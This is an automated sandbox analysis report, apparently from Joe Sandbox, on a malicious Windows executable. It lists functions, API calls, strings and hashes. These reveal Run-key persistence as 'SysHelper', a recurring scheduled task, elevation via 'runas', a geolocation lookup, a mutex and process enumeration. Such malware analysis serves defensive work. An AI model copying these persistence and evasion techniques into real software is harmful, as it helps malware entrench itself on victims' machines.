Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: e19f9913758c9080763271741d3d7b229f7008d904b682ab08426ee524d53033
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 99514D71E40209ABEB11DBA5DC8AFEFBBB8FF04744F101069F945B6180E7749A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E2F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E2F284
__CxxThrowException@8.LIBCMT ref: 05E2F2AF
__CxxThrowException@8.LIBCMT ref: 05E2F2DE
__CxxThrowException@8.LIBCMT ref: 05E2F30F
_memset.LIBCMT ref: 05E2F32E
__CxxThrowException@8.LIBCMT ref: 05E2F354
_sprintf.LIBCMT ref: 05E2F373

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 299b80463931f4c7628a3b09d069952cfc8f9ab7a9bb934645ffe34d3dc10267
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 8F516FB1E40219AAEF11DFA1DC4AFEEBBB9FB04704F101065F951B6180E775AA05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E2F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E2F4B7
__CxxThrowException@8.LIBCMT ref: 05E2F4E2
__CxxThrowException@8.LIBCMT ref: 05E2F504
__CxxThrowException@8.LIBCMT ref: 05E2F535
_memset.LIBCMT ref: 05E2F554
__CxxThrowException@8.LIBCMT ref: 05E2F57A
_sprintf.LIBCMT ref: 05E2F594

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 8ee538ae6c8b50df906e0f0132cff8d37e666a2c26e1edc19a655cc1cac16a02
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 31516371E40219AADF11DFA1DC8AFFEBBB8FF04744F101129F995B6180E674A9058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E6208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E620C6
__invoke_watson.LIBCMT ref: 05E62120
_strlen.LIBCMT ref: 05E620D4

Part of subcall function 05E45BA8: __getptd_noexit.LIBCMT ref: 05E45BA8

_strnlen.LIBCMT ref: 05E6215F
__lock.LIBCMT ref: 05E62170
__getenv_helper_nolock.LIBCMT ref: 05E6217B

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 5afbabc2f59452fd6ddfc90cbf9b5e50499003966667c38d0f6a18f07ec541d6
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 10313E36B883116BFB216F64EC08BAE7755AF05BE4F146415EBD5EF1C0DB7489008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E32670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E326DB
_memset.LIBCMT ref: 05E32A30
_memset.LIBCMT ref: 05E32AC0

Strings

D, xrefs: 05E32AC8

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: bbea1365b51920b00b762b5d0a4b7cbe94effa5b86cbb58b4081a8cec5b23826
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 60E19D75D00219ABDF24DFA0CC4AFEEBBB9BF04304F1450A9E649B6190EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05E2D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E2D8EA

Strings

, xrefs: 05E2DADB
$, xrefs: 05E2DAE2
(, xrefs: 05E2DAE9

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 1182501aafc9417bf0e548e079c634c1a10d453fbec1b11c98251d02d1ec090c
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0391D071D00228AAEF20CFA0CD59BEDBBB5AF05304F145068E585B72C0DBB65A49CF65

Uniqueness

Uniqueness Score: -1.00%

Function 05E3A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E3A858
_memset.LIBCMT ref: 05E3A869
_memset.LIBCMT ref: 05E3A87A

Strings

p2Q, xrefs: 05E3A882

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: f6ee4cfd9a49106fe1e581db07791d495ae7df724fc322e05d9a257945252606
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 3FF0ED78698750A5FB217760BC2AB857E917B31B08F105088E1582E2E1D3FD638CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 05E6FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E6FBF1

Part of subcall function 05E5169C: std::exception::_Copy_str.LIBCMT ref: 05E516B5

__CxxThrowException@8.LIBCMT ref: 05E6FC06

Strings

TeM, xrefs: 05E6FBFB, 05E6FBE7
TeM, xrefs: 05E6FBFE

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: da739856a3a012820cd56101aab0aa104bba4cba6f33daca1c80658f1791d012
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: C5D06775D0020CBBCB04EFA5D459DDDBBB8AA04344B1084A6AD9497241EA74A34DCB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E2D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05E4197D: __wfsopen.LIBCMT ref: 05E41988

_fgetws.LIBCMT ref: 05E2D15C

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 49b92bf3bcece563984332c4e2278cf63dc674bf88b481d0b80a88d64485d50d
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: FA911972E00329EBDF20DF64CE44BAEB7B5BF04304F142529E995A3244E775AA05CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05E2D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05E2D77E
_malloc.LIBCMT ref: 05E2D7B2
_malloc.LIBCMT ref: 05E2D7C1
_fprintf.LIBCMT ref: 05E2D815

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 9a9c58e3ce717c634e82e3beeecf642ca5bc90bfe45c2f7e094c54cf78138ce3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: F0A1ADB1D0025CEBEF11EFA4DC4ABDEBB71AF14304F141068E5457B281E7B65A48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E42AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E42B2E
__read_nolock.LIBCMT ref: 05E42BFE
__filbuf.LIBCMT ref: 05E42C21
_memset.LIBCMT ref: 05E42C65

Part of subcall function 05E45BA8: __getptd_noexit.LIBCMT ref: 05E45BA8

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: bd585ff32e232b0f4e9e9290038d9b60932771722cc3d80a2cb05668b37f6b21
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: FB51C438B043059BEF25CF69A8846AE77B7BF40324F149769FAB5962D0D7709950CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05E61359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E6137D

Part of subcall function 05E61A9D: __fltout2.LIBCMT ref: 05E61AC6

__cftog_l.LIBCMT ref: 05E613A3
__cftoe_l.LIBCMT ref: 05E613D5

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 6dd7a92aea4efcc900c198843b5935c472b2379ad65cce6ba4f6876ccab429e3
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 75014B3288414AFBCF1B5E84DC05CEE3F63BB192D4B49A415FA9A58430D236C5B1EB81

Uniqueness

Uniqueness Score: -1.00%

Function 05EE7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05EE7A4B

Part of subcall function 05EE8140: ___BuildCatchObjectHelper.LIBCMT ref: 05EE8172
Part of subcall function 05EE8140: ___AdjustPointer.LIBCMT ref: 05EE8189

_UnwindNestedFrames.LIBCMT ref: 05EE7A62
___FrameUnwindToState.LIBCMT ref: 05EE7A74
CallCatchBlock.LIBCMT ref: 05EE7A98

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 9347e606aa387f845789381b66a7f74e4f4a5998d3feb5161b389991670b25b4
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: CE012532510149BBDF12AF55DC05EEA3BBAFF48758F14A014FE9C66120D332E9A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00404F4B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,00404F82,00000000,00000000,00000000,00000000,00000000,0040695D), ref: 00404F54
__invoke_watson.LIBCMT ref: 00404F70

Strings

]i@, xrefs: 00404F64

Memory Dump Source

Source File: 00000000.00000002.1640244180.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1640203320.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640269970.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640297049.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640681635.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1640681635.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641578038.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641578038.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1643460220.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_lzShU2RYJa.jbxd

Similarity

API ID: DecodePointer__invoke_watson
String ID: ]i@
API String ID: 4034010525-1506211215
Opcode ID: e849a53a668494aff4fe0b906ac566684e2661444060925ab8faf4cf50084c13
Instruction ID: d2fb819f0be4ab3053e126b7330bea5d749b3c90906fb228895402265e4548e8
Opcode Fuzzy Hash: e849a53a668494aff4fe0b906ac566684e2661444060925ab8faf4cf50084c13
Instruction Fuzzy Hash: DDE0ECB110010AABDF016FA1DD059AA3E6AEB44650B404475FF0494071DB36C930DB99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: lzShU2RYJa.exePID: 7344, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.5%
Total number of Nodes:	839
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,007DAE18,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

x*P, xrefs: 0041ACE4
I:\5d2860c89d774.jpg, xrefs: 0041B32F
list<T> too long, xrefs: 0041B669, 0041B673
--ForNetRes, xrefs: 0041A22E
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
X1P, xrefs: 0041A485
runas, xrefs: 0041A6CE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Windows\, xrefs: 0041AFF3
--Task, xrefs: 0041A2CD
IsNotAutoStart, xrefs: 0041A645
C:\Program Files\Google\, xrefs: 0041AFB9
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files\Google\, xrefs: 0041B0EE
<, xrefs: 0041A67B
IsAutoStart, xrefs: 0041A1D0, 0041A273
--Service, xrefs: 0041A30B
x2Q, xrefs: 0041A856
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
7P, xrefs: 0041B164
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
--Admin, xrefs: 0041A1B4, 0041A632
IsNotTask, xrefs: 0041A654
IsTask, xrefs: 0041A1EE, 0041A299
--AutoStart, xrefs: 0041A2EC
%username%, xrefs: 0041B283
F:\, xrefs: 0041B397
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Windows\, xrefs: 0041AE0F
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Time Trigger Task, xrefs: 0040D43C, 0040D973
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737
--Task, xrefs: 0040D8DD
Author Name, xrefs: 0040D4C8
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
